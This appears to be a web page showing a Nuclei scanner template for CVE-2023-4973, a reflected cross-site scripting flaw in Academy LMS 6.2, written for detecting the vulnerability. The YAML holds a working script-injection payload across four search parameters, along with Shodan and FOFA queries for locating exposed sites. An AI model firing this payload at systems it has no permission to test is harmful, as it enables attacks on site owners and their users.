Academy LMS 6.2 - Cross-Site Scripting

ID: CVE-2023-4973

Severity: medium

Author: ritikchaddha,princechaddha

Tags: packetstorm,cve2023,cve,academylms,xss,creativeitem

Description

A vulnerability was found in Academy LMS 6.2 on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument searched_word/searched_tution_class_type[]/searched_price_type[]/searched_duration[] leads to cross site scripting. The attack can be launched remotely.

YAML Source

id: CVE-2023-4973

info:
  name: Academy LMS 6.2 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: medium
  description: |
    A vulnerability was found in Academy LMS 6.2 on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument searched_word/searched_tution_class_type[]/searched_price_type[]/searched_duration[] leads to cross site scripting. The attack can be launched remotely.
  reference:
    - https://packetstormsecurity.com/files/174680/Academy-LMS-6.2-Cross-Site-Scripting.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4973
    cwe-id: CWE-79
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query:
      - html:"Academy LMS"
      - http.html:"academy lms"
    fofa-query:
      - body="Academy LMS"
      - body="academy lms"
  tags: packetstorm,cve2023,cve,academylms,xss,creativeitem

http:
  - method: GET
    path:
      - "{{BaseURL}}/academy/tutor/filter?searched_word=acoa5\"><script>alert(document.domain)</script>dyzs0&searched_tution_class_type%5B%5D=acoa5\"><script>alert(document.domain)</script>dyzs0&price_min=1&price_max=9&searched_price_type%5B%5D=acoa5\"><script>alert(document.domain)</script>dyzs0&searched_duration%5B%5D=acoa5\"><script>alert(document.domain)</script>dyzs0"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "List of tuitions")'
        condition: and
# digest: 4b0a00483046022100d6ec385cea468a14529353d5c10f1a1f59bde8fac9b580d590f63541bb30696c022100de53608b735705c214e67323d729543e06528b56f2a99f02d2058db1f6b65682:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4973.yaml"

View on Github